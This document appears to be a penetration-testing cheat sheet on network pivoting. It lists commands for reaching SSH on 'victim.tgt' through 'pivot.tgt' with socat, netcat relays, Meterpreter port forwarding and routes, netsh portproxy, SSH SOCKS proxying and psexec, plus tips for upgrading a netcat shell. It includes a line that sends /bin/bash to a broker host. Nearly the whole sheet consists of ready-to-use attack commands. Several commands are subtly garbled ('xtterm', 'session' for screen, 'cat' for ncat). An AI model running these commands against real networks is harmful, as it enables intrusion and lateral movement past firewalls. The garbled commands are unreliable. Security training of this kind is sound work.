Upgrade Ugly Shells with Python2/3

python -c 'import pty;
pty.spawn("/bin/bash")'

Further Upgrade Ugly Shells

<Ctrl>-z

attacker $ stty raw -echo
attacker $ fg

victim $ export SHELL=bash

victim $ export TERM=xtterm-256color

victim $ stty rows 40 columns 80

Maintain State with Screen

victim $ session -S hackinz
- Session fails -
- Regain session, THEN -

victim $ session -r hackinz

Want more functionality than screen? Check out tmux.

Is your shell not stable enough for ssh? Mosh is more forgiving of spotty connections.

Don’t Forget the Easy Stuff!

attacker PS C:\> Enter-PsSession –ComputerName pivot.tgt
- OR -
attacker c:\> mstsc.exe /v:Pivot.tgt
psexec.exe to run commands on Pivot.tgt
- THEN (on recent versions of Win10) -
pivot C:\> ssh victimadmin@victim.tgt

attacker $ ssh pivotadmin@pivot.tgt
pivot $ ssh victimadmin@victim.tgt

Netsh Port Proxy
pivot c:\> netsh interface portproxy add v4tov4 listenport=4000
listenaddress=0.0.0.0 connectport=22
connectaddress=victim.tgt
attacker $ ssh victimadmin@pivot.tgt

How to use this cheat sheet

The goal in each of these examples is to reach the SSH port on victim from attacker via pivot. Each prompt will tell you which machine the command should be entered into and whether a Windows (c:\>) or Linux ($) host is expected. The diagram in the center should help.

Replace terms like “victimadmin” and “victimpass” with appropriate credentials for the given system.

On the back, there are some extra goodies - like how to upgrade an ugly Netcat shell to something that feels more like a real Bash session. Have fun, good luck, and pivot mercilessly!
**Situation:** You need to access SSH on port 22 of Victim.tgt, but you can’t go directly due to those meddling firewalls. For clarity, you will generally be using ports 1337, 4000, and 22 on the Attacker, Pivot, and Victim machines.

### Socat Port Forward

**Pivot:**
```
socat TCP-LISTEN:4000,fork
TCP:victim.tgt:22
```

**Attacker:**
```
ssh victimadmin@pivot.tgt -P 4000
```

### Netcat Port Forward

**Pivot:**
```
nc -lvp 4000 0<backpipe | nc -v victim.tgt 22 1>backpipe
```

**Attacker:**
```
ssh victimadmin@pivot.tgt -P 4000
```

### Ncath Connection Brokering (useful for connecting disparate NAT’ed systems; assumes code execution on victim.tgt)

**Pivot:**
```
cat -vlp 4000
```

**Attacker:**
```
cat pivot.tgt 4000 -e /bin/bash
```

### Meterpreter Port Forward

**Pivot:**
```
msf > portfwd add -l 4000 -p 22 -r victim.tgt
```

**Attacker:**
```
ssh victimadmin@pivot.tgt -P 4000
```

### Meterpreter Route

**Pivot:**
```
msf > route add victim.tgt/32 7
```

**Attacker:**
```
ssh victimadmin@pivot.tgt -P 4000
```

### Proxychains

**Attacker:**
```
ssh pivotadmin@pivot.tgt -D 9050 -fN
```

**Attacker:**
```
proxychains ssh victimadmin@victim.tgt
```

### OPTIONS:

- **-f**: put ssh in the background after connecting
- **-L**: local port forward
- **-N**: don’t execute a command; just forward some ports
- **-P**: use this port for ssh
- **-R**: remote port forward